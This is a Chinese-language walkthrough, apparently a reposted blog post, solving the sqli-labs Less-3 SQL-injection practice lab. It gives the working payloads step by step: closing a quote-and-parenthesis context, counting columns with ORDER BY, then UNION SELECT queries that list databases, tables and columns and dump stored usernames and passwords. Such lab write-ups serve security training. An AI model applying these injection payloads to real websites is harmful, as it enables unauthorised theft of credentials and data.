[网络安全]sqli-labs Less-3 解题详析

news2025/1/6 12:59:00

判断注入类型

GET1' and '1'='1，回显如下：
在这里插入图片描述 GET1' and '1'='2：
没有回显，说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+，回显如下：
在这里插入图片描述
由上图可知，sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=(‘$id’)
故构造GET1'） order by 3 --+，此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')
即SELECT * FROM xx where id=('-1') order by 3
GET1') order by 4 --+
在这里插入图片描述

GET1') order by 3 --+
在这里插入图片描述故注入点为3个

查库名

GET-1') union select 1,2,database(); --+
回显库名security
在这里插入图片描述

查表名

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名
在这里插入图片描述

查users表的列名

-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

在这里插入图片描述

查字段

-1') union select 1,group_concat(username),group_concat(password) from security.users; --+

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2271307.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！